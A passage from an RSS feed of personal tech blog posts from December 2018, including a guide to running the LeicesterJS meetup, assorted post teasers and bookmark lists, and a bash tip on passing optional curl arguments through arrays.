&lt;p&gt;I created a spreadsheet with a bunch of events that were interesting to me, such as Gophercon US, Gophercon UK, KubeCons and so on. I organized them by CFP dates and tried to come up with a few topics for each of them.&lt;/p&gt;</description><author>andrestc.com</author><pubDate>Mon, 24 Dec 2018 22:49:09 GMT</pubDate><guid isPermaLink="true">https://andrestc.com/post/reviewing-2018/</guid></item><item><title>Uber Driver Teaches me Data Analytics</title><link>https://blog.herlein.com/post/uber-driver-data/</link><description>&lt;p&gt;An Uber Driver this past week schooled me that data analytics does not require coding.&lt;/p&gt;</description><author>Greg Herlein</author><pubDate>Mon, 24 Dec 2018 21:33:02 GMT</pubDate><guid isPermaLink="true">https://blog.herlein.com/post/uber-driver-data/</guid></item><item><title>Nethack Deaths</title><link>https://rjp.is/blogging/posts/2018/12/nethack-deaths/</link><description>In which we clean up a messy data set to make more sense of it.</description><author>infrequent oscillations</author><pubDate>Sun, 23 Dec 2018 11:48:44 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/2018/12/nethack-deaths/</guid></item><item><title>Elf Assembly JIT</title><link>https://mattkeeter.com/projects/elfjit</link><description>A Very Merry Compiler</description><author>Matt Keeter</author><pubDate>Sun, 23 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/projects/elfjit</guid></item><item><title>How to Run a Successful Tech Meetup — even if you’re forgetful</title><link>/successful-meetup/</link><description>&lt;div class="image"&gt;
	&lt;img src="../../assets/images/meetup.jpeg" /&gt;
	&lt;em&gt;A picture taken from the November 2018 LeicesterJS meetup&lt;/em&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href="https://www.meetup.com/leicesterjs/"&gt;LeicesterJS&lt;/a&gt; is born out of the rise of Javascript now being the de facto programming language for a majority of developers. Additionally, we aimed to bring together a tech community in Leicester.&lt;/p&gt;
&lt;p&gt;I have been running LeicesterJS now for over 4 months and this is just the start. Before the first meetup, I was very nervous about getting everything together and although it went off without any dramatic hitches, I have learned a great deal and continue to do so with each and every event. Here is some of the advice I wish I had before planning my first meetup.&lt;/p&gt;
&lt;h2&gt;Start with the essentials&lt;/h2&gt;
&lt;p&gt;The barebones requirements from a meetup is a venue and catering. For LeicesterJS, I was able to partner with my current workplace to host the event and foot the bill for the food and drinks provided. In exchange, we give them a plug at the start of each event and they receive exposure to potential hires. Often meetups will be arranged in this manner as it makes organizing the event a lot easier, since you, the organizer, are at the venue ready to prepare anything that is required. If you are looking to arrange your own meetup, kill two birds with one stone and look to see if your employer wants to help.&lt;/p&gt;
&lt;p&gt;Next up is the speakers, for this, I turned to developers in my team and asked around if anyone wanted to give a talk. You can also reach out on twitter or to other developers you know in the area. Worst comes to the worst, do the talk yourself!&lt;/p&gt;
&lt;p&gt;And with that, we had a meetup! Except for one key thing…&lt;/p&gt;
&lt;h2&gt;….People&lt;/h2&gt;
&lt;p&gt;You want your meetup to be a success and part of that success can be measured by the attendance rate. Here is how I approached building a community of people from the ground up&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Get support from co-workers&lt;/strong&gt; — since they know you, it will be easier to break the ice that having a room of strangers&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Link up with other meetups in the area via Twitter&lt;/strong&gt; — I was very fortunate to have the generous support of &lt;a href="https://phpem.uk/"&gt;PHP East Midlands&lt;/a&gt; who cancelled their own meetup to join in with the first LeicesterJS (thanks again guys!). It was great to have them along and again, a few more familiar faces&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Connect with a tech Slack group&lt;/strong&gt; — in my case, &lt;a href="https://www.technottingham.com/"&gt;TechNottingham&lt;/a&gt; has a thriving Slack community, I advertised the meetup in their #javascript channel&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Personal social media&lt;/strong&gt; — in addition to using branded &lt;a href="https://twitter.com/leicesterjs?lang=en"&gt;“LeicesterJS” twitter&lt;/a&gt; account. I further advertised the meetup with my own personal Twitter and LinkedIn. Additionally, you can encourage your co-workers to put the word out too&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Word of mouth&lt;/strong&gt; — you’d be surprised how many people just come to events because they saw it on &lt;a href="https://www.meetup.com/"&gt;meetup.com&lt;/a&gt;. From my purely anecdotal data gathering, it seems that people mostly came because they saw the event on meetup.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;RSVP’s matter&lt;/strong&gt; — A day before the meetup starts, it is good to encourage people to update their RSVP status if they are no longer planning on attending. Often times, you will only get 60–70% of the RSVP’s you have on meetup. Make sure you keep track of this KPI and encourage the “regulars” to your meetup&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Download the full thing here: https://gist.github.com/joshghent/2bb9c6e2ce616e29aaa3c7a2895cb17d" src="https://cdn-images-1.medium.com/max/2000/0*5t6kUM-EnedEnCmD" /&gt;&lt;em&gt;Download the full thing here: &lt;a href="https://gist.github.com/joshghent/2bb9c6e2ce616e29aaa3c7a2895cb17d"&gt;https://gist.github.com/joshghent/2bb9c6e2ce616e29aaa3c7a2895cb17d&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Processes&lt;/h2&gt;
&lt;p&gt;After the first meetup, I had a number of people come and ask me for the slides to the talks that had been given. I hadn’t even thought about that! There were a number of these sorts of things that I had to get a process nailed down for.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Talk slides&lt;/strong&gt; — stealing an idea from NottsJS, I decided to create a Github organization and put the slides in a repo. It was the least frictionless way to distribute them. I considered using Google drive or some other file sharing service but this would give me difficult URLs that audience members may have a hard time finding&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Talk ideas&lt;/strong&gt; — after having a number of inquirers about giving talks I again turned to GitHub. The process is now to submit a talk idea as a Github issue on a repo. I have a set template for the issue so there is not any information left out that I may need at the last minute&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Somewhere to talk&lt;/strong&gt; — despite the bounty of slack groups out there, many requested to set up a Slack group to discuss the meetup and the tech community in Leicester at large. This ticks along nicely. I used &lt;a href="https://github.com/rauchg/slackin"&gt;Slackin&lt;/a&gt; on a free Heroku box to create a site for people to get instant invites&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Introductions&lt;/strong&gt; — the first meet had some very basic introduction slides but I’ve gradually fleshed these out to make sure everyone feels at home. Basic things like pointing out the bathrooms and telling people what time the food will be here and the meetup is expected to end can be very useful to people. Another additional tip is I get people to raise their hand if they with me (and therefore, at the office, we were in), I informed other audience members that they can also go to those ones if they need any help&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Other Pointers&lt;/h2&gt;
&lt;p&gt;After getting through the above, it can seem as if there is nothing more to do — just grow the meetup right? I fell into the same trap too. But a further refinement came first by introducing a &lt;a href="https://www.meetup.com/leicesterjs/pages/27888143/Code_of_Conduct/"&gt;code of conduct&lt;/a&gt;. In this document, it outlines how not only speakers, but all those in attendance, should behave and having clear processes for people who do not. It’s worth grabbing a document that has already been written because in all likelihood you are not a lawyer (but if you are, fill your boots!). Additionally, it’s good to have a point of contact (an email address and a person named) who should be contacted if someone wants to report something. Although you hope that something like that will never happen, there has been far too many cases in the tech industry alone that have highlighted that problems with intolerance or any sort of bad behaviour towards others is unfortunately not uncommon — often it goes unreported, I hope that never happens at LeicesterJS. Nonetheless, it’s essential to have.&lt;/p&gt;
&lt;p&gt;Additionally, you can offer yourself as a resource if any potential speakers need help preparing a talk. Since its beginning, I’ve encouraged first-time speakers to give talks. This can be a nerve-racking experience so give generously to offer support with slides, talk topics etc. The &lt;a href="http://slack.leicesterjs.org"&gt;meetup group slack channel&lt;/a&gt; can be a great place to do this.&lt;/p&gt;
&lt;p&gt;A lesson I learned early on was to encourage audience participation. It makes the meetup more active and motivates people to discuss afterward as well. Perhaps recommend that your speakers open the floor so to speak with a discussion. Asking if anyone uses the technology being discussed, or ask them if they use an alternative.&lt;/p&gt;
&lt;p&gt;Starting your own tech meetup is an incredibly rewarding pursuit, but don’t underestimate its work. It’s also worth noting that, if you are in a smaller city as I am, it is better to support any existing meetups than to create your own. Ask the organizers if you can assist in any way, perhaps arranging new speakers or handling promotion of the event, they would welcome anyone to lend a hand.&lt;/p&gt;
&lt;p&gt;If you are in the Leicester area, come along to LeicesterJS — the meetup is every 3rd Thursday of the month!&lt;/p&gt;</description><author/><pubDate>Sun, 23 Dec 2018 00:12:03 GMT</pubDate><guid isPermaLink="true">/successful-meetup/</guid></item><item><title>Uber, statistics, and a chrome extension</title><link>https://blog.jonlu.ca/posts/uber-stats</link><description/><author>JonLuca's Blog</author><pubDate>Sat, 22 Dec 2018 17:39:48 GMT</pubDate><guid isPermaLink="true">https://blog.jonlu.ca/posts/uber-stats</guid></item><item><link>https://kajic.com/post/181317304830</link><description>&lt;figure class="tmblr-full"&gt;&lt;img src="https://64.media.tumblr.com/bc8f187fe98ad36f651aa70de132e235/tumblr_pk4wb99SQk1qiv660_540.jpg" /&gt;&lt;/figure&gt;</description><author>ka-yich</author><pubDate>Sat, 22 Dec 2018 12:40:22 GMT</pubDate><guid isPermaLink="true">https://kajic.com/post/181317304830</guid></item><item><title>2018: A year in review</title><link>https://daniel.do/article/2018-a-year-in-review</link><description>It's the end of the year, time for some reflection on how things went!</description><author>Daniel Immke</author><pubDate>Sat, 22 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://daniel.do/article/2018-a-year-in-review</guid></item><item><title>A functional IDE for React</title><link>https://ferrucc.io/posts/a-new-ide/</link><description>&lt;p&gt;6 years ago this video came out.&lt;/p&gt;
&lt;div style="padding-bottom: 56.25%; height: 0; overflow: hidden;"&gt;
 
 &lt;/div&gt;

&lt;p&gt;At the time I couldn’t code yet.&lt;/p&gt;
&lt;p&gt;This concept is still mind blowing to me.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://ferrucc.io/a-new-ide/light-table.gif" /&gt;&lt;/p&gt;
&lt;p&gt;Up until now I always thought about code as a collection of files, connected through imports.&lt;/p&gt;
&lt;p&gt;But really we import functions, not files.&lt;br /&gt;
We use files to store code because they&amp;rsquo;re a convenient way to serialize code. They&amp;rsquo;re not the best representation, in fact functions might provide a better one.&lt;/p&gt;</description><author>ferrucc.io</author><pubDate>Fri, 21 Dec 2018 21:43:10 GMT</pubDate><guid isPermaLink="true">https://ferrucc.io/posts/a-new-ide/</guid></item><item><title>A guide to fighting with a Cisco access point</title><link>https://purpleidea.com/blog/2018/12/21/a-guide-to-fighting-with-a-cisco-access-point/</link><description>&lt;p&gt;In my hands is a &lt;strong&gt;Cisco AIR-CAP-3502-E-A-K9&lt;/strong&gt; that I saved from the landfill.
After about eight hours of suffering, and what was surely a cancer causing dose
of &lt;a href="https://en.wikipedia.org/wiki/Radio_frequency"&gt;RF-radiation&lt;/a&gt;, I now know:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;How to convince this access point to provide me with wifi.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Why Cisco products are probably best left in the garbage.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;What follows is my setup guide and review for using a Cisco Aironet device. This
guide will likely be useful with other models of Cisco devices, but use your own
best judgment.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Fri, 21 Dec 2018 14:45:00 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2018/12/21/a-guide-to-fighting-with-a-cisco-access-point/</guid></item><item><title>org tip: convert csv to table</title><link>https://xenodium.com/org-tip-convert-csv-to-table</link><description>&lt;p&gt;Needed to import some csv data to an org table. Turns out org's got you covered out of the box with &lt;em&gt;M-x org-table-create-or-convert-from-region&lt;/em&gt; bound to &lt;em&gt;C-c |&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/org-tip-convert-csv-to-table/csv-to-org-table.gif" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 21 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/org-tip-convert-csv-to-table</guid></item><item><title>Mastering Monero first edition has been released</title><link>https://serhack.me/articles/mastering-monero-first-edition-has-been-released/</link><description>&lt;a href="https://masteringmonero.com"&gt;&amp;lsquo;Mastering Monero: The future of private transactions&amp;rsquo;&lt;/a&gt; is your guide through the world of Monero, a leading cryptocurrency with a focus on private and censorship-resistant transactions. This book contains everything you need to know to start using Monero in your business or day-to-day life, even if you&amp;rsquo;ve never understood or interacted with cryptocurrencies before. -&lt;a href="https://serhack.me/articles/mastering-monero-first-edition-has-been-released/"&gt;Continue to read the article on SerHack.me&lt;/a&gt;</description><author>SerHack - Security Researcher</author><pubDate>Fri, 21 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://serhack.me/articles/mastering-monero-first-edition-has-been-released/</guid></item><item><title>Python AST Element Analysis</title><link>http://acbart.github.io//2018/12/21/python-ast-analysis/</link><description>I decided to clean up some analysis I did a while back about Python Abstract Syntax Trees. The thought was to download a mass of Python code and look at how Python programmers use various syntactic elements. I had thoughts about turning this into a paper, but I figured a blog post might be all I had the investment for. This represents a pretty shallow effort, in the end. But I merged all the code into a Jupyter Notebook, added some notes, and now you can check it out on GitHub: Python AST Element Analysis</description><author>Acbart ePortfolio</author><pubDate>Fri, 21 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">http://acbart.github.io//2018/12/21/python-ast-analysis/</guid></item><item><title>Small Computing History Resources</title><link>https://mschaef.com/small_computing_history</link><description>&lt;p&gt;I've lately run across several interesting small computer history sites. If you have any interest in small computing's emergence from 1980 to 1990 or so, these are worth a look.&lt;/p&gt;&lt;p&gt;In no particular order:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.os2museum.com/wp/"&gt;OS/2 Museum&lt;/a&gt; - Covers OS/2, but also  gets into detail around PC architecture. Among other interesting bits,  this is just one of several articles on  &lt;a href="http://www.os2museum.com/wp/the-a20-gate-fallout/"&gt;A20 gate handling&lt;/a&gt;, and  here's &lt;a href="http://www.os2museum.com/wp/the-8514a-graphics-accelerator/"&gt;something&lt;/a&gt;  on the &lt;a href="https://en.wikipedia.org/wiki/IBM_8514"&gt;IBM 8514/A&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.easy68k.com/paulrsm/dg/"&gt;DTACK Grounded&lt;/a&gt; - A newsletter  written to promote Hal Hardbergh's side business of attached  &lt;a href="https://en.wikipedia.org/wiki/Motorola_68000"&gt;Motorola 68000&lt;/a&gt;  processor boards. Mostly interesting for his commentary on  then-crurent events leading up to the emergence and use of 32-bit  microprocessors. Notably, this was written at the time of Intel's   pivot from the &lt;a href="https://en.wikipedia.org/wiki/Intel_iAPX_432"&gt;iAPX 432&lt;/a&gt;  to the &lt;a href="https://en.wikipedia.org/wiki/Intel_80386"&gt;80386&lt;/a&gt;. The commentary  on the relative unreliability of DRAM is amusing too.&lt;/li&gt;&lt;li&gt;&lt;a href="http://crpgaddict.blogspot.com/"&gt;CRPG Addict&lt;/a&gt; - Not sure how he has  the time, but the author of this blog has set himself the challenge  of playing through and documenting every early CRPG game from the  late 70's and well into the 90's.  &lt;/li&gt;&lt;li&gt;&lt;a href="https://www.filfre.net/"&gt;The Digital Antiquarian&lt;/a&gt; - Critical  commentary on early small computer gaming. Lots of details about  how games came to be made and their content.&lt;/li&gt;&lt;li&gt;&lt;a href="https://retrocomputing.stackexchange.com/"&gt;Retrocomputing Stack Exchange site&lt;/a&gt; -  This is currently more like Netflix than anything else. Coverage is spotty, but  that doesn't mean you can't find something interesting to read.&lt;/li&gt;&lt;/ul&gt;</description><author>Mike Schaeffer</author><pubDate>Fri, 21 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mschaef.com/small_computing_history</guid></item><item><title>2018 in review</title><link>https://jasoneckert.github.io/myblog/2018-in-review/</link><description>&lt;p&gt;&lt;img alt="PET board" src="petboard.jpg#center" title="PET board" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="me" src="pic1.jpg#right" title="me" /&gt;&lt;/p&gt;
&lt;p&gt;At the end of each year, I take some time to reflect on the previous year - it provides perspective, and is a lot of fun!&lt;/p&gt;
&lt;p&gt;For me, 2018 was the year I spent a lot of time improving myself physically, challenging myself mentally, and most importantly, enjoying life!&lt;/p&gt;
&lt;p&gt;On the personal side, I cut out the bad foods from my diet:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;breads&lt;/li&gt;
&lt;li&gt;starches&lt;/li&gt;
&lt;li&gt;alcohol&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On top of this, I upped my indoor and outdoor exercise to lose a whopping 85 pounds since mid 2017 - I feel great, have loads of energy, and no longer have any back pain whatsoever!&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Fri, 21 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/2018-in-review/</guid></item><item><title>Running latest kernels on ARM Scaleway servers</title><link>https://anisse.astier.eu/distro-kernel-scaleway-arm.html</link><description>&lt;p&gt;Scaleway, a french cloud provider, has been renting baremetal ARM servers for a few years now, and virtual ARM64 servers more recently. They ship with a scaleway-provided kernel and initird, which isn't updated as often as I'd like. The latest ARMv7 (32 bits) kernel, is 4.9.93, while the …&lt;/p&gt;</description><author>Linux Engineer's random thoughts</author><pubDate>Fri, 21 Dec 2018 01:00:00 GMT</pubDate><guid isPermaLink="true">https://anisse.astier.eu/distro-kernel-scaleway-arm.html</guid></item><item><title>The Editor With No Name - an informal case study into what went wrong with Gutenberg</title><link>https://blog.samuellevy.com/post/58-the-editor-with-no-name-an-informal-case-study-into-what-went-wrong-with-gutenberg.html</link><description>&lt;p&gt;So WordPress 5.0 has been released. It happened just in time for WordCamp US, conveniently enough, and now &amp;quot;Gutenberg&amp;quot; is just referred to as &amp;quot;The Editor&amp;quot;. Of course the &amp;quot;Classic Editor&amp;quot; (which was actually TinyMCE all along) has been given a more recognisable name reminiscent of &amp;quot;Classic Coke&amp;quot;, but stock WordPress 5.0 includes the editor formerly known as &amp;quot;Gutenberg&amp;quot; by default.&lt;/p&gt;&lt;p&gt;This has made a lot of people very angry and been widely regarded as a bad move.&lt;/p&gt;&lt;p&gt;But why is the community so angry? Essentially this comes down to one thing - Gutenberg is a prime example of how &lt;em&gt;not&lt;/em&gt; to bring a new prod…&lt;/p&gt;</description><author>Sam says you should read this</author><pubDate>Thu, 20 Dec 2018 17:42:15 GMT</pubDate><guid isPermaLink="true">https://blog.samuellevy.com/post/58-the-editor-with-no-name-an-informal-case-study-into-what-went-wrong-with-gutenberg.html</guid></item><item><title>Sponsoring platform bookmarks</title><link>https://xenodium.com/sponsoring-platform-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.patreon.com/"&gt;Best way for artists and creators to get sustainable income and connect with fans (Patreon)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.buymeacoffee.com/"&gt;Buy Me A Coffee — A free, fast and beautiful way for creators to monetise their content&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tallyco.in/"&gt;Tallycoin is a Bitcoin fundraising platform and a Patreon alternative.&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 20 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/sponsoring-platform-bookmarks</guid></item><item><title>Artistic/creative bookmarks</title><link>https://xenodium.com/artisticcreative-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.deviantart.com/boxtail/gallery/"&gt;BoxTail fractals (DeviantArt Gallery)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Fermat%27s_spiral"&gt;Fermat's spiral - Wikipedia&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lostartpress.com/"&gt;Lost Art Press (woodworking books)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.tomsachs.org"&gt;Tom Sachs (knolling exhibits)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 20 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/artisticcreative-bookmarks</guid></item><item><title>Marketing bookmarks</title><link>https://xenodium.com/marketing-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=23289185"&gt;Product Marketing for Engineers | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.launchaco.com/"&gt;Startup Website Builder - Launchaco&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 20 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/marketing-bookmarks</guid></item><item><title>Mastering Monero</title><link>https://serhack.me/books/mastering-monero/</link><description>Book overview Across these eight chapters, “Mastering Monero” can take a reader from a complete crypto novice to an informed crypto citizen that knows how to protect his or her privacy. This book takes you by the hand on an exploratory adventure, showing you the world of blockchains and crypto, before taking you on a private tour of the Monero protocol and systems.
Illustrations throughout the chapters make it easy for readers to understand the content visually. -&lt;a href="https://serhack.me/books/mastering-monero/"&gt;Continue to read the article on SerHack.me&lt;/a&gt;</description><author>SerHack - Security Researcher</author><pubDate>Thu, 20 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://serhack.me/books/mastering-monero/</guid></item><item><title>Review of the iClever Foldable Bluetooth Keyboard</title><link>https://thomashunter.name/posts/2018-12-20-review-of-the-iclever-foldable-bluetooth-keyboard</link><author>Thomas Hunter II</author><pubDate>Thu, 20 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-12-20-review-of-the-iclever-foldable-bluetooth-keyboard</guid></item><item><title>New Zealand Otago Trip in a 2019 Mustang GT</title><link>https://smcleod.net/2018/12/new-zealand-otago-trip-in-a-2019-mustang-gt/</link><description>&lt;!-- TODO: add mapbox --&gt;
&lt;p&gt;In late November of 2018 I was lucky enough to get my hands on the upcoming 2019 Sport spec Mustang GT v8 to be its first driver.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m not usually an American Muscle enthusiast, but the new 2019 GT really is quite different from its slightly older counterparts,
with a new specially developed &lt;a href="https://www.caranddriver.com/reviews/a24847025/2018-ford-mustang-automatic-transmission-performance/"&gt;10 speed gearbox&lt;/a&gt;
(yes, &lt;em&gt;10&lt;/em&gt; gears - because more is better right?), tuned up suspension and so seemed like it would make for a pretty fun trip.&lt;/p&gt;</description><author>smcleod.net</author><pubDate>Thu, 20 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2018/12/new-zealand-otago-trip-in-a-2019-mustang-gt/</guid></item><item><title>Handling optional arguments in bash</title><link>https://peterlyons.com/problog/2018/12/handling-optional-arguments-in-bash/</link><description>&lt;p&gt;I learned a nice way of using bash arrays to hold command line arguments that are conditional or will be computed before passing as arguments to a separate program.&lt;/p&gt;
&lt;p&gt;There's 2 basic parts.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use a bash array to hold them&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;declare -a opts=(one two three)&lt;/code&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;Expand them properly using this syntax&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;"${opts[@]}"&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Here's an annotated example:&lt;/p&gt;
&lt;pre class="language-bash "&gt;&lt;code class="language-bash"&gt;#!&amp;#x2f;usr&amp;#x2f;bin&amp;#x2f;env bash

# Here&amp;#x27;s our default arguments we intend
# to pass to curl
declare -a opts=(--silent --fail --output &amp;#x2f;dev&amp;#x2f;null)

# Use this for debugging
# opts=(--fail)

if [[ -n &amp;quot;${REMOTE_USER}&amp;quot; ]]; then
# Here we need to change the args, so
# we can prepend some to the variable itself.
  opts=(--user &amp;quot;${REMOTE_USER}:${REMOTE_PASSWORD}&amp;quot; &amp;quot;${opts[@]}&amp;quot;)
fi
url=&amp;quot;${REMOTE_URL}&amp;quot;

# Now pass the on with proper quoting
# using the [@] syntax

curl &amp;quot;${opts[@]}&amp;quot; &amp;quot;${url}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note I omitted the &lt;a href="http://redsymbol.net/articles/unofficial-bash-strict-mode"&gt;unofficial bash strict mode&lt;/a&gt; boilerplate for clarity, but in my production scripts, you'd see that at the beginning.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Thu, 20 Dec 2018 00:31:37 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2018/12/handling-optional-arguments-in-bash/</guid></item><item><link>https://kajic.com/post/181241591445</link><description>&lt;figure class="tmblr-full"&gt;&lt;img src="https://64.media.tumblr.com/cf1fe9e79d53fc8c61949cadbc4c9ec6/tumblr_pk64coYucv1qiv660_540.jpg" /&gt;&lt;/figure&gt;</description><author>ka-yich</author><pubDate>Wed, 19 Dec 2018 11:56:38 GMT</pubDate><guid isPermaLink="true">https://kajic.com/post/181241591445</guid></item><item><title>AWS Certified</title><link>https://blog.herlein.com/post/aws-certified/</link><description>&lt;p&gt;On Becoming an AWS Certified Solutions Architect (Associate)&lt;/p&gt;</description><author>Greg Herlein</author><pubDate>Wed, 19 Dec 2018 09:50:38 GMT</pubDate><guid isPermaLink="true">https://blog.herlein.com/post/aws-certified/</guid></item><item><title>Sapiens: A Brief History of Humankind</title><link>https://apurva-shukla.me/bookshelf/sapiens/</link><description>⭐ ⭐ ⭐ ⭐ ⭐ This is an expertly crafted piece of work - detailing the formidable task of recounting and analysing all of human history. With…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Wed, 19 Dec 2018 07:37:27 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/sapiens/</guid></item><item><title>Bluetooth low energy (BLE) bookmarks</title><link>https://xenodium.com/bluetooth-low-energy-ble-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.frederikseiffert.de/blueutil/"&gt;blueutil » Command-Line Control of Bluetooth on the Mac&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=18704182"&gt;The Practical Guide to Hacking Bluetooth Low Energy (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.attify.com/the-practical-guide-to-hacking-bluetooth-low-energy/"&gt;The Practical Guide to Hacking Bluetooth Low Energy&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 19 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/bluetooth-low-energy-ble-bookmarks</guid></item><item><title>Animated Multiline Link Underlines with CSS</title><link>https://www.dannyguo.com/blog/animated-multiline-link-underlines-with-css</link><author>Danny Guo</author><pubDate>Wed, 19 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.dannyguo.com/blog/animated-multiline-link-underlines-with-css</guid></item><item><title>Avalanche! re:Invent 2018</title><link>https://blog.herlein.com/post/avalanche-reinvent/</link><description>&lt;p&gt;Thoughts on AWS re:Invent 2018&lt;/p&gt;</description><author>Greg Herlein</author><pubDate>Tue, 18 Dec 2018 20:50:01 GMT</pubDate><guid isPermaLink="true">https://blog.herlein.com/post/avalanche-reinvent/</guid></item><item><title>Perfect Advent Calendars</title><link>https://rjp.is/blogging/posts/2018/12/perfect-advent-calendars/</link><description>In which we make things symmetrical by brute force.</description><author>infrequent oscillations</author><pubDate>Tue, 18 Dec 2018 07:56:32 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/2018/12/perfect-advent-calendars/</guid></item><item><title>Fun project bookmarks</title><link>https://xenodium.com/fun-project-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.designboom.com/art/echo-yang-programs-everyday-obsolete-machines-to-create-autonomous-art-02-28-2014/?mc_cid=31214c131d&amp;amp;mc_eid=add1859a90"&gt;echo yang programs everyday obsolete machines to create autonomous art (designboom)&lt;/a&gt;.&lt;/li&gt;
